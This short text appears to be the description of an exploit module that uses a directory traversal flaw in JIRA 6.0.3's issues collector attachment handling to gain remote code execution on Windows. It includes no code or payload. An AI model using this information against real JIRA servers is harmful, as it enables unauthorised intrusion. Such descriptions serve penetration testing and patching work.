    This module exploits a directory traversal flaw in JIRA 6.0.3. The vulnerability exists
    in the issues collector code, while handling attachments provided by the user. It can be
    exploited in Windows environments to get remote code execution. This module has been tested
    successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.
